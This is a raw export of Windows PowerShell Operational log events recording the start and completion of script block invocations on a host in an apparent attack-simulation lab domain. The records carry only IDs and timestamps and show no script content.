SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477112
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477110
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477109
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477108
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477107
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477106
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477105
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477103
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477102
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477100
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477098
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477096
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477095
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477094
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477092
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477091
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477090
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477088
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477086
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477085
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477084
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477083
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477082
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477080
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477078
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477077
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477076
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477075
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477074
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477072
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477071
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477070
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477068
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477067
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477066
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477064
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477062
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477061
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477060
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477059
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477058
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
